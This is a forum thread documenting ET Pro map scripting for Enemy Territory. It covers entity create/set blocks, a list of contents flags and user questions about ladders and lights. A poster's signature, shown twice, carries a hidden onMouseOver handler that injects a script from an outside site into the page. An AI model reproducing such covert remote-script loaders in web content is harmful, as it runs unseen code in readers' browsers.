Scripting in ET Pro 3

ET Pro Documentation Project

Moderators: Forum moderators, developers, ET Pro Documentation

duke'ku
Posts: 1053
Joined: Sun Nov 03, 2002 1:42 pm
Location: portland, oregon
Contact:

Scripting in ET Pro 3

Post by duke'ku »

Scripting Examples

Here I'll show a few examples of the new scripting allowed in ETPro, and attempt to explain what exactly it's doing. First off, I'll start with a simple example, where a model (in this case, a dinghy) is inserted into the map.

Code: Select all

create
{
	scriptname "dinghy1"
	origin "2650 600 100"
	classname "misc_gamemodel"
	modelscale 1
	contents 1
	mins "-90 -90 -25"
	maxs "90 90 25"
	clipmask 1
   	model "models/mapobjects/dinghy_sd/dinghy.md3"	
}
This isn't exactly the cleanest example of scripting (mainly do to my lackluster job of clipping the model off,) but what it produces is this:

Image

Now, to break down how it works. The create{ } command will place an entity into the map, at the spot specified by the "origin" key. The scriptname specifies the name that the entity will have in the map, and it is what seperates it from other entities in the map (which can cause quite a few problems.)

Code: Select all

create
{
	scriptname "dinghy1"
	origin "2650 600 100"
}
The code above will do nothing, it creates an entity (not even of a specified type, it will do nothing) and places into the map at 2650,600,100. To find your position on a map to place an entity (you'll need to find an origin for almost every entity,) use the command "/viewpos".

Code: Select all

create
{
	scriptname "dinghy1"
	origin "2650 600 100"
	classname "misc_gamemodel"
}
Now, the code has advanced a bit further and the entity now has a specified type, misc_gamemodel. A misc_gamemodel is a model placed into the map during load (compared to a misc_model, which are permanently static objects that get compiled into the map at compile.) Misc_gamemodels can be used for almost anything, from walls (although this would be a terrible way of making a map) to moving tanks (all of the vehicles, construction boxes, command posts, etc. in game are all misc_gamemodels,) but in this script it's just used for placing a model (provided with the ET mapping tools, available at http://www.qeradiant.com.)

Code: Select all

create
{
	scriptname "dinghy1"
	origin "2650 600 100"
	classname "misc_gamemodel"
	modelscale 1
	contents 1
}
Now, the model has a defined scale, 1. A scale of .5 would cause it to be half of the size of the model in the file that will be referenced, and a scale of 2 would cause it to be twice the size. Most flags that are used on an entity can be found in the entities.def file that is provided with the mapping tools.

Code: Select all

create
{
	scriptname "dinghy1"
	origin "2650 600 100"
	classname "misc_gamemodel"
	modelscale 1
	contents 1
	mins "-90 -90 -25"
	maxs "90 90 25"
	clipmask 1
   	model "models/mapobjects/dinghy_sd/dinghy.md3"	
}
Now, for the clipping. The contents flag specifies the type of surfaceflag that the entity will be. Surfaceflags that are defined in the ET source (found in src/game/surfaceflags.h, if you're interested) are listed <a href="#surfaceflags">here.</a> The mins and maxs specify how far out from the origin of the model (in each direction) the clipping will extend to. The coordinates on this model aren't accurate, but they get the job done.

This was a very basic example of scripting, and now I'll be listing some more advanced examples of scripting.

Example 1: Battery's Back Door and Dynamite

Code: Select all

//bani
create
&#123;
	scriptName "backdoor"
	classname "func_explosive"
	targetname "backdoor"
	origin "4608 -4594 1024"
	mins "-63 -10 0"
	maxs "63 10 128"
	spawnflags 1	// AXIS_OBJECTIVE&#40;1&#41;
	eflags 65536	// EF_FAKEBMODEL
	svflags 1	// SVF_NOCLIENT
&#125;

//bani
create
&#123;
	scriptName "backdoor_obj"
	classname "trigger_objective_info"
	targetname "backdoor_obj"
	target "backdoor"
	origin "4608 -4601 1024"
	mins "-95 -85 0"
	maxs "95 85 128"
	spawnflags 17	// AXIS_OBJECTIVE&#40;1&#41; | CUSTOMIMAGE
	track "the Back Door"
	shortname "Back Door"
	customaxisimage "gfx/limbo/cm_radar_maindoor"
&#125;

//bani - bug fixes
create
&#123;
	scriptName "bugfix1"
	classname "func_fakebrush"
	origin "3632 -4313 881"
	contents 65536  // CONTENTS_PLAYERCLIP
	mins "-40 -1 -20"
	maxs "40 1 10"
&#125;
Example 2: Fueldump and Spawning at the Command Post

Code: Select all

create
&#123;
	scriptName "fueldumphq_obj"
	classname "team_WOLF_objective"
	targetname "fueldumphq_obj"
	origin "-10853 -2036 6"	// z = CC_FILTER_ALLIES&#40;2&#41; | CC_FILTER_SPAWNS&#40;4&#41;
	spawnflags 2	// TEAM_ALLIES&#40;2&#41;
&#125;

create
&#123;
	scriptName "fueldumphq_spawn1"
	classname "team_CTF_bluespawn"
	targetname "fueldumphq_spawn"
	origin "11072 -2448 512"
	spawnflags 2	// TEAM_ALLIES
&#125;

create
&#123;
	scriptName "fueldumphq_spawn2"
	classname "team_CTF_bluespawn"
	targetname "fueldumphq_spawn"
	origin "-10995 -2448 512"
	spawnflags 2	// TEAM_ALLIES
&#125;

create
&#123;
	scriptName "fueldumphq_spawn3"
	classname "team_CTF_bluespawn"
	targetname "fueldumphq_spawn"
	origin "-10918 -2448 512"
	spawnflags 2	// TEAM_ALLIES
&#125;

create
&#123;
	scriptName "fueldumphq_spawn4"
	classname "team_CTF_bluespawn"
	targetname "fueldumphq_spawn"
	origin "-10841 -2448 512"
	spawnflags 2	// TEAM_ALLIES
&#125;

create
&#123;
	scriptName "fueldumphq_spawn5"
	classname "team_CTF_bluespawn"
	targetname "fueldumphq_spawn"
	origin "11072 -2288 512"
	spawnflags 2	// TEAM_ALLIES
&#125;

create
&#123;
	scriptName "fueldumphq_spawn6"
	classname "team_CTF_bluespawn"
	targetname "fueldumphq_spawn"
	origin "-10995 -2288 512"
	spawnflags 2	// TEAM_ALLIES
&#125;

create
&#123;		
	scriptName "fueldumphq_spawn7"		
	classname "team_CTF_bluespawn"
	targetname "fueldumphq_spawn"
	origin "-10918 -2288 512"
	spawnflags 2	// TEAM_ALLIES
&#125;

create
&#123;
	scriptName "fueldumphq_spawn8"
	classname "team_CTF_bluespawn"
	targetname "fueldumphq_spawn"
	origin "-10841 -2288 512"
	spawnflags 2	// TEAM_ALLIES
&#125;
Hopefully you'll be able to understand what each of those flags are doing. If you can't figure it out, see if you can figure it out from the entities.def file (from http://user.tninet.se/~fzo823r/, this is not the original ET entities.def file but everything in it should work - it contains new things that weren't included with the stock def,) or come and bug the ETPro team (|Rain|, [av]bani, zinx, fretn, s2ikkyo) on [url=irc://irc.freenode.net/etpro]irc.freenode.net, #etpro.[/url]

Contents Flags
<a name="surfaceflags"></a>
  • SOLID 1
  • LIGHTGRID 4†
  • LAVA 8
  • SLIME 16
  • WATER 32
  • FOG 64
  • MISSILECLIP 128
  • ITEM 256
  • MOVER 16384
  • AREAPORTAL 32768†
  • PLAYERCLIP 65536
  • MONSTERCLIP 131072*
  • TELEPORTER 262144
  • JUMPPAD 524288
  • CLUSTERPORTAL 1048576†
  • DONOTENTER 2097152*
  • DONOTENTER_LARGE 4194304*
  • ORIGIN 16777216
  • BODY 33554432†
  • CORPSE 67108864†
  • DETAIL 134217728†
  • STRUCTURAL 268435456†
  • TRANSLUCENT 536870912
  • TRIGGER 1073741824
  • NODROP 2147483648
Not all of these surfaceflags will work, but the ones you will want to use should work. If you've tested something and it doesn't work properly, send an email to dukeku AT theteamkillers DOT net and I'll fix it here.

* These, as far as I know, are bot only commands - they will have no effect on other players.
† These are flags that should not be used in a script, they're either reserved for strict-in game usage that doesn't relate to something that you would do in a script such as this, or are reserved for entities that are compiled into the map and have absolutely no use in game.
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

Additionally, players may modify keys on existing entities with the set command. Here are a couple of examples from the oasis map script (etpro/maps/oasis.script):

Code: Select all

axis_garrison_wobj
&#123;
        spawn
        &#123;
                set
                &#123;
                        origin "7089 4852 -415"
                &#125;
        &#125;
&#125;
This changes the position of the spawn marker for the Axis garrison to (7089, 4852, -415). (This was done to correct player spawn location after setautospawn usage was fixed.)

Here's another example:

Code: Select all

water_tunnel
&#123;
        spawn
        &#123;
                // rain - these are put into the world as CONTENTS_SOLID,
                // which is a Bad Thing if WolfReviveBBox gets called
                // while we're in the water
                wait 100
                set
                &#123;
                        contents 32 // CONTENTS_WATER
                        clipmask 32 // CONTENTS_WATER
                &#125;
        &#125;
        &#91;...&#93;
As described by the comments, this fixes the problem that sometimes caused players to be pushed around uncontrollably while underwater in the tunnel.

Both create and set recognize some keys that can't normally be used while mapping. Normally, most of these are computed automatically (often at map compile time); however, there are some cases when the compiled value is unusable, and there are some cases where you might want to set these values when spawning a new entity.

The additional keys supported are:
<table align="center"><tr><th>Key</th><th>Description</th></tr><tr><td>mins</td><td>A point describing the location of the lower corner of the bounding box. (ent->r.mins)</td></tr><tr><td>maxs</td><td>A point describing the location of the upper corner of the bounding box. (ent->r.maxs)</td></tr><tr><td>contents</td><td>Contents flags - description above (ent->r.contents)</td></tr><tr><td>svflags</td><td>Server flags (ent->r.svFlags)</td></tr><tr><td>clipmask</td><td>Brush content types to collide with. (ent->clipmask)</td></tr><tr><td>count2</td><td>entity-specific (ent->count2)</td></tr><tr><td>eflags</td><td>Entity flags (ent->s.eFlags)</td></tr><tr><td>pos_trType</td><td>Position trajectory type (ent->s.pos.trType)</td></tr><tr><td>pos_trDelta</td><td>Position trajectory delta &#916; (ent->s.pos.trType)</td></tr><tr><td>apos_trType</td><td>Angle trajectory type (ent->s.apos.trType)</td></tr><tr><td>pos_trDelta</td><td>Angle trajectory delta &#916; (ent->s.apos.trType)</td></tr><tr><td>classname_nospawn</td><td>Changes the class name, but doesn't re-spawn the entity. (ent->classname)</td></tr><tr><td>customaxisimage</td><td>Custom command map image for the Axis team</td></tr><tr><td>customalliesimage<br>customalliedimage</td><td valign="top">Custom command map image for the Allied team</td></tr><tr><td>allowteams</td><td>Teams allowed to use an entity (ent->allowteams)</td></tr>
</table>
(You may wish to refer to the ET SDK for additional information.)

Finally, ET Pro offers the func_fakebrush entity (also available by ORing EF_FAKEBMODEL (65536 or 0x10000) to eFlags), which allows the limited ability to spawn brush entities. The fake model must be a hexahedron, defined by mins and maxs, and will not work for all brush entity types.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
Noobie
Posts: 48
Joined: Wed Jan 14, 2004 1:26 am

Post by Noobie »

Interesting guide, but I wonder if we can do something with textures this way? And what about creating lights?
User avatar
=FF=im2good4u
Posts: 3821
Joined: Wed Feb 05, 2003 7:30 am
Location: The Netherlands, HOLLAND
Contact:

Post by =FF=im2good4u »

well im not sure if it allows you to create a dlight but even if it does i hera there is a limit if 5 for dlight in et (atleast that wut marko forum says)

and a normal light i think that needs be calcutaled in the bsp so that should help i think
duke'ku
Posts: 1053
Joined: Sun Nov 03, 2002 1:42 pm
Location: portland, oregon
Contact:

Post by duke'ku »

Noobie wrote:Interesting guide, but I wonder if we can do something with textures this way? And what about creating lights?
you can create dlights, but not a normal light. they're compiled in.
User avatar
=FF=im2good4u
Posts: 3821
Joined: Wed Feb 05, 2003 7:30 am
Location: The Netherlands, HOLLAND
Contact:

Post by =FF=im2good4u »

yeh i though so but does it alllow to create any etinety ?
Noobie
Posts: 48
Joined: Wed Jan 14, 2004 1:26 am

Post by Noobie »

Would someone be so kind to give an example? I've been browsing around a lot of sites to find it, but I couldn't do it. I managed to get a tank on top of the oasis wall tough (don't ask).
User avatar
=FF=im2good4u
Posts: 3821
Joined: Wed Feb 05, 2003 7:30 am
Location: The Netherlands, HOLLAND
Contact:

Post by =FF=im2good4u »

Noobie wrote:Would someone be so kind to give an example? I've been browsing around a lot of sites to find it, but I couldn't do it. I managed to get a tank on top of the oasis wall tough (don't ask).
LMAO
duke'ku
Posts: 1053
Joined: Sun Nov 03, 2002 1:42 pm
Location: portland, oregon
Contact:

Post by duke'ku »

Noobie wrote:Would someone be so kind to give an example? I've been browsing around a lot of sites to find it, but I couldn't do it. I managed to get a tank on top of the oasis wall tough (don't ask).
the examples are provided above, if there's any questions you have about them, feel free to ask. the only examples that i'm aware of are my dinghy script and the map scripts included with etpro that modify battery and fueldump.
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

There's no way for a mod to apply textures to an entity that I know of. :(

The normal lighting is done as part of the map compile (as mentioned), but spawning dlights does work.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
User avatar
=FF=im2good4u
Posts: 3821
Joined: Wed Feb 05, 2003 7:30 am
Location: The Netherlands, HOLLAND
Contact:

Post by =FF=im2good4u »

how do i turn this

Code: Select all

// brush 0
&#123;
&#40; 496 1948 492 &#41; &#40; 496 2988 492 &#41; &#40; 512 2988 492 &#41; common/ladder 0 0 0 0.500000 0.500000 0 0 0
&#40; 496 2988 208 &#41; &#40; 496 1948 208 &#41; &#40; 512 1948 208 &#41; common/ladder 0 0 0 0.500000 0.500000 0 0 0
&#40; 496 2052 492 &#41; &#40; 496 2052 8 &#41; &#40; 512 2052 8 &#41; common/ladder 0 0 0 0.500000 0.500000 0 0 0
&#40; 512 1948 492 &#41; &#40; 512 1948 8 &#41; &#40; 496 1948 8 &#41; common/ladder 0 0 0 0.500000 0.500000 0 0 0
&#40; 496 2012 492 &#41; &#40; 496 2012 8 &#41; &#40; 496 972 8 &#41; common/ladder 0 0 0 0.500000 0.500000 0 0 0
&#40; 488 1988 492 &#41; &#40; 488 1988 8 &#41; &#40; 488 3028 8 &#41; common/ladder 0 0 0 0.500000 0.500000 0 0 0
&#125;
into this

Code: Select all

		//LADDERS
		create
		&#123;
			scriptName "ladder1"
			classname "func_fakebrush"
			origin "? ? ?"
			contents 1073741824 // CONTENTS_LADDER
			mins "? ? ?"
			maxs "? ? ?"
		&#125;
:roll:
duke'ku
Posts: 1053
Joined: Sun Nov 03, 2002 1:42 pm
Location: portland, oregon
Contact:

Post by duke'ku »

you're going to have to find the map position yourself, noone wants to parse garbage from a .map file. run the map in devmap, use mapdebug, and shoot at the surface where you want the brush to originate. get the coords, and guess some more.
User avatar
=FF=im2good4u
Posts: 3821
Joined: Wed Feb 05, 2003 7:30 am
Location: The Netherlands, HOLLAND
Contact:

Post by =FF=im2good4u »

so i got the coords of the origin

and i got to guess the mins "? ? ?" maxs "? ? ?" ?
infinity
Posts: 12
Joined: Sat Mar 06, 2004 11:05 am

Post by infinity »

doesn't work at all for me.
I make a new directory called 'ffs' inside my etpro dir and place the battery.script file inside it (I copied the example script into that file).

when I start battery with b_mapscriptblablabla "ffs", my PC crashes.

Am I the only one?
infinity
Posts: 12
Joined: Sat Mar 06, 2004 11:05 am

Post by infinity »

*my ET crashes
Post Reply